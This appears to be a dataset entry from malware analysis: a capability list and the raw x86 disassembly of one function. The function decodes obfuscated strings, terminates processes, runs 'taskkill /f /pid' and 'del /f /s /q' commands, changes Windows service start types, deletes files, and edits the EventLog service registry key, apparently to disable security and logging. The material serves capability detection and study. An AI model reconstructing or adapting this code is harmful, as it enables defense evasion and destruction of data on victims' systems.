Function at 0x401b80
Capabilities:
Delete file
Disable system features via registry on windows
Modify service
Move file
Persist via windows service
Query environment variable
Query or enumerate registry value
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x115c
call fcn.00406660
mov eax, dword [0x4251c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.00407730
push 0x104
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00407730
push 0x104
lea eax, [ebp - 0x414]
push 0
push eax
call fcn.00407730
push 0x104
lea eax, [ebp - 0x518]
push 0
push eax
call fcn.00407730
push 0x104
lea eax, [ebp - 0xc34]
push 0
push eax
call fcn.00407730
push 0x104
lea eax, [ebp - 0xd38]
push 0
push eax
call fcn.00407730
add esp, 0x48
lea eax, [ebp - 0xf40]
push 0x104
push 0
push eax
call fcn.00407730
push 0x104
lea eax, [ebp - 0x1044]
push 0
push eax
call fcn.00407730
push 0x104
lea eax, [ebp - 0x1148]
push 0
push eax
call fcn.00407730
mov esi, dword [str._zq_lq]
lea ecx, [ebp - 0x414]
mov eax, ecx
add esp, 0x24
mov edx, 0x104
sub esi, eax
lea eax, [edx + 0x7ffffefa]
test eax, eax
je 0x401c79
mov al, byte [esi + ecx]
test al, al
je 0x401c79
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x401c60
test edx, edx
lea eax, [ecx - 1]
cmovne eax, ecx
lea ecx, [ebp - 0x414]
lea edx, [ecx + 1]
mov byte [eax], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401c90
sub ecx, edx
lea eax, [ebp - 0x414]
push ecx
push eax
call fcn.00401920
mov esi, dword [str._zq_lqqo]
lea ecx, [ebp - 0x518]
mov eax, ecx
add esp, 8
mov edx, 0x104
sub esi, eax
nop
lea eax, [edx + 0x7ffffefa]
test eax, eax
je 0x401cd9
mov al, byte [esi + ecx]
test al, al
je 0x401cd9
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x401cc0
test edx, edx
lea eax, [ecx - 1]
cmovne eax, ecx
lea ecx, [ebp - 0x518]
lea edx, [ecx + 1]
mov byte [eax], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401cf0
sub ecx, edx
lea eax, [ebp - 0x518]
push ecx
push eax
call fcn.00401920
mov esi, dword [str.rwzovmsw_]
lea ecx, [ebp - 0x108]
mov eax, ecx
add esp, 8
mov edx, 0x104
sub esi, eax
nop
lea eax, [edx + 0x7ffffefa]
test eax, eax
je 0x401d39
mov al, byte [esi + ecx]
test al, al
je 0x401d39
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x401d20
test edx, edx
lea eax, [ecx - 1]
cmovne eax, ecx
lea ecx, [ebp - 0x108]
lea edx, [ecx + 1]
mov byte [eax], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401d50
sub ecx, edx
lea eax, [ebp - 0x108]
push ecx
push eax
call fcn.00401920
mov esi, dword [str.zzwsl_lilz]
lea ecx, [ebp - 0x20c]
mov eax, ecx
add esp, 8
mov edx, 0x104
sub esi, eax
nop
lea eax, [edx + 0x7ffffefa]
test eax, eax
je 0x401d99
mov al, byte [esi + ecx]
test al, al
je 0x401d99
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x401d80
test edx, edx
lea eax, [ecx - 1]
cmovne eax, ecx
lea ecx, [ebp - 0x20c]
lea edx, [ecx + 1]
mov byte [eax], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401db0
sub ecx, edx
lea eax, [ebp - 0x20c]
push ecx
push eax
call fcn.00401920
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x414]
push eax
push 0x41cb34
lea eax, [ebp - 0xc34]
push 0x104
push eax
call fcn.00402d90
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push eax
push 0x41cb40
lea eax, [ebp - 0xd38]
push 0x104
push eax
call fcn.00402d90
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x518]
push eax
push 0x41cb4c
lea eax, [ebp - 0xf40]
push 0x104
push eax
call fcn.00402d90
add esp, 0x44
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x518]
push eax
push 0x41cb58
lea eax, [ebp - 0x1044]
push 0x104
push eax
call fcn.00402d90
push 0
lea eax, [ebp - 0x108]
push 0x1a0a
push eax
call fcn.00402be0
add esp, 0x20
cmp eax, 1
je 0x401e88
lea eax, [ebp - 0xf40]
push 0x1a0a
push eax
call fcn.004019a0
add esp, 8
push 0
lea eax, [ebp - 0x20c]
push 0x1a0a
push eax
call fcn.00402be0
add esp, 0xc
cmp eax, 1
je 0x401eb7
lea eax, [ebp - 0x1044]
push 0x1a0a
push eax
call fcn.004019a0
add esp, 8
lea eax, [ebp - 0x108]
push eax
call fcn.00402650
mov esi, dword [sym.imp.KERNEL32.dll_OpenProcess]
add esp, 4
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x401ef6
push eax
push 0
push 0x100001
call esi
mov esi, eax
push 0
push esi
call ebx
push esi
call edi
mov esi, dword [sym.imp.KERNEL32.dll_OpenProcess]
lea eax, [ebp - 0x20c]
push eax
call fcn.00402650
add esp, 4
test eax, eax
je 0x401f21
push eax
push 0
push 0x100001
call esi
mov esi, eax
test esi, esi
je 0x401f21
push 0
push esi
call ebx
push esi
call edi
mov esi, dword [sym.imp.KERNEL32.dll_SleepEx]
push 0
push 0x378
call esi
lea eax, [ebp - 0x108]
push 0x1a0a
push eax
call fcn.00402ac0
add esp, 8
cmp eax, 4
je 0x401f5d
lea eax, [ebp - 0xc34]
push 0x1a0a
push eax
call fcn.004019a0
add esp, 8
lea eax, [ebp - 0x20c]
push 0x1a0a
push eax
call fcn.00402ac0
add esp, 8
cmp eax, 4
je 0x401f8a
lea eax, [ebp - 0xd38]
push 0x1a0a
push eax
call fcn.004019a0
add esp, 8
push 0
push 0x1bc
call esi
lea eax, [ebp - 0x108]
push 0x1a0a
push eax
call fcn.00402ac0
add esp, 8
cmp eax, 4
je 0x401fc0
lea eax, [ebp - 0xc34]
push 0x1a0a
push eax
call fcn.004019a0
add esp, 8
lea eax, [ebp - 0x20c]
push 0x1a0a
push eax
call fcn.00402ac0
add esp, 8
cmp eax, 4
je 0x401fed
lea eax, [ebp - 0xd38]
push 0x1a0a
push eax
call fcn.004019a0
add esp, 8
push 0x104
lea eax, [ebp - 0x310]
push 0
push eax
call fcn.00407730
mov esi, dword [str.ki_pkiqx]
lea ecx, [ebp - 0x310]
mov eax, ecx
add esp, 0xc
mov edx, 0x104
sub esi, eax
nop dword [eax + eax]
lea eax, [edx + 0x7ffffefa]
test eax, eax
je 0x402039
mov al, byte [esi + ecx]
test al, al
je 0x402039
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x402020
test edx, edx
lea eax, [ecx - 1]
cmovne eax, ecx
lea ecx, [ebp - 0x310]
lea edx, [ecx + 1]
mov byte [eax], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402050
sub ecx, edx
lea eax, [ebp - 0x310]
push ecx
push eax
call fcn.00401920
lea eax, [ebp - 0x1158]
mov dword [ebp - 0x1158], 4
push eax
push 0x41cb64
push 0x41cb6c
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00402d00
add esp, 0x18
test eax, eax
je 0x4020ed
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x4020ed
push 2
lea eax, [ebp - 0x310]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
jne 0x4020c6
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x4020ed
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 4
push 0xffffffffffffffff
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push esi
call edi
lea eax, [ebp - 0x310]
push eax
call fcn.00402650
mov edi, eax
add esp, 4
test edi, edi
je 0x402164
push edi
push 0
push 0x100001
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x402124
push 0
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40217a
push 0x104
lea eax, [ebp - 0x720]
push 0
push eax
call fcn.00407730
push edi
push str.taskkill__f__pid__d
lea eax, [ebp - 0x720]
push 0x104
push eax
call fcn.00402d90
lea eax, [ebp - 0x720]
push 0x3e8
push eax
call fcn.004019a0
add esp, 0x24
jmp 0x40217a
push 0
lea eax, [ebp - 0x310]
push 0x1388
push eax
call fcn.00402be0
add esp, 0xc
lea eax, [ebp - 0x115c]
push eax
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
push 0x104
lea eax, [ebp - 0xe3c]
push 0
push eax
call fcn.00407730
push 0x104
lea eax, [ebp - 0x928]
push 0
push eax
call fcn.00407730
push 0x104
lea eax, [ebp - 0x824]
push 0
push eax
call fcn.00407730
mov esi, dword [str.hvi]
lea ecx, [ebp - 0x928]
mov eax, ecx
add esp, 0x24
mov edx, 0x104
sub esi, eax
nop dword [eax + eax]
lea eax, [edx + 0x7ffffefa]
test eax, eax
je 0x4021f9
mov al, byte [esi + ecx]
test al, al
je 0x4021f9
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x4021e0
test edx, edx
lea eax, [ecx - 1]
cmovne eax, ecx
lea ecx, [ebp - 0x928]
lea edx, [ecx + 1]
mov byte [eax], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402210
sub ecx, edx
lea eax, [ebp - 0x928]
push ecx
push eax
call fcn.00401920
mov esi, dword [str.fvjzhBplm_pkfqqqlpimzqBl_lilzvBzsqqrpbBlmk_s]
lea ecx, [ebp - 0x824]
mov eax, ecx
add esp, 8
mov edx, 0x104
sub esi, eax
nop
lea eax, [edx + 0x7ffffefa]
test eax, eax
je 0x402259
mov al, byte [esi + ecx]
test al, al
je 0x402259
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x402240
test edx, edx
lea eax, [ecx - 1]
cmovne eax, ecx
lea ecx, [ebp - 0x824]
lea edx, [ecx + 1]
mov byte [eax], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402270
sub ecx, edx
lea eax, [ebp - 0x824]
push ecx
push eax
call fcn.00401920
add esp, 8
mov dword [ebp - 0x1154], 0x104
call fcn.00404630
lea ecx, [ebp - 0x114c]
test eax, eax
push ecx
mov edx, 0x20219
lea eax, [ebp - 0x824]
mov ecx, 0x20119
cmove ecx, edx
push ecx
push 0
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x4024da
lea eax, [ebp - 0x1154]
push eax
lea eax, [ebp - 0xe3c]
push eax
push 0
push 0
lea eax, [ebp - 0x928]
push eax
push dword [ebp - 0x114c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x114c]
mov esi, eax
call ebx
test esi, esi
jne 0x4024da
lea eax, [ebp - 0xe3c]
push 0x5c
push eax
call fcn.00407890
xor edi, edi
add esp, 8
mov byte [eax + 1], 0
cmp dword [str.fvjzh0zsjg], edi
je 0x4024da
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, 0x425104
nop word [eax + eax]
push 0x104
lea eax, [ebp - 0xa2c]
push 0
push eax
call fcn.00407730
mov esi, dword [esi]
lea ecx, [ebp - 0xa2c]
mov eax, ecx
add esp, 0xc
mov edx, 0x104
sub esi, eax
nop word [eax + eax]
lea eax, [edx + 0x7ffffefa]
test eax, eax
je 0x402389
mov al, byte [esi + ecx]
test al, al
je 0x402389
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x402370
test edx, edx
lea eax, [ecx - 1]
cmovne eax, ecx
lea ecx, [ebp - 0xa2c]
lea edx, [ecx + 1]
mov byte [eax], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4023a0
sub ecx, edx
lea eax, [ebp - 0xa2c]
push ecx
push eax
call fcn.00401920
push 0x104
lea eax, [ebp - 0x720]
push 0
push eax
call fcn.00407730
lea eax, [ebp - 0xa2c]
push eax
lea eax, [ebp - 0xe3c]
push eax
push 0x41cbac
lea eax, [ebp - 0x720]
push 0x104
push eax
call fcn.00402d90
push 0x104
lea eax, [ebp - 0xb30]
push 0
push eax
call fcn.00407730
add esp, 0x34
lea eax, [ebp - 0xb30]
push 0x104
push eax
lea eax, [ebp - 0x720]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x40247a
lea eax, [ebp - 0xb30]
push eax
call ebx
push 0x104
lea eax, [ebp - 0x61c]
push 0
push eax
call fcn.00407730
lea eax, [ebp - 0xb30]
push eax
push 0x41cbb4
lea eax, [ebp - 0x61c]
push 0x104
push eax
call fcn.00402d90
lea eax, [ebp - 0xb30]
push eax
lea eax, [ebp - 0x61c]
push eax
call fcn.0040e9ae
add esp, 0x24
lea eax, [ebp - 0x61c]
push eax
call ebx
jmp 0x4024be
push 0x104
lea eax, [ebp - 0x61c]
push 0
push eax
call fcn.00407730
lea eax, [ebp - 0x720]
push eax
push str.del__f___sl_____NUL
lea eax, [ebp - 0x61c]
push 0x104
push eax
call fcn.00402d90
lea eax, [ebp - 0x61c]
push 0x3e8
push eax
call fcn.004019a0
add esp, 0x24
inc edi
cmp dword [edi*4 + 0x425104], 0
lea esi, [edi*4 + 0x425104]
jne 0x402340
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x115c]
call dword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
lea eax, [ebp - 0x310]
push eax
lea eax, [ebp - 0x414]
push eax
push str._s__s__yes
lea eax, [ebp - 0x1148]
push 0x104
push eax
call fcn.00402d90
add esp, 0x14
mov dword [ebp - 0x1150], 2
call fcn.00404630
lea esi, [eax - 1]
neg esi
lea eax, [ebp - 0x114c]
push eax
sbb esi, esi
and esi, 0x100
add esi, 0xf013f
push esi
push 0
push str.SYSTEMCurrentControlSetServicesEventLog
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40257d
lea eax, [ebp - 0x1154]
push eax
lea eax, [ebp - 0x114c]
push eax
push 0
push esi
push 0
push 0x41cb28
push 0
push str.SYSTEMCurrentControlSetServicesEventLog
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov esi, eax
test esi, esi
jne 0x4025a9
push 4
lea eax, [ebp - 0x1150]
push eax
push 4
push 0
push str.Start
push dword [ebp - 0x114c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x114c]
mov esi, eax
call ebx
test esi, esi
je 0x402604
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x402604
push 2
lea eax, [ebp - 0x310]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
jne 0x4025dd
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x402604
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 2
push 0xffffffffffffffff
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call ebx
push esi
call ebx
lea eax, [ebp - 0x310]
push 0x1a0a
push eax
call fcn.00402ac0
add esp, 8
pop edi
pop esi
pop ebx
cmp eax, 4
je 0x402634
lea eax, [ebp - 0x1148]
push 0x1a0a
push eax
call fcn.004019a0
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004063ad
mov esp, ebp
pop ebp
ret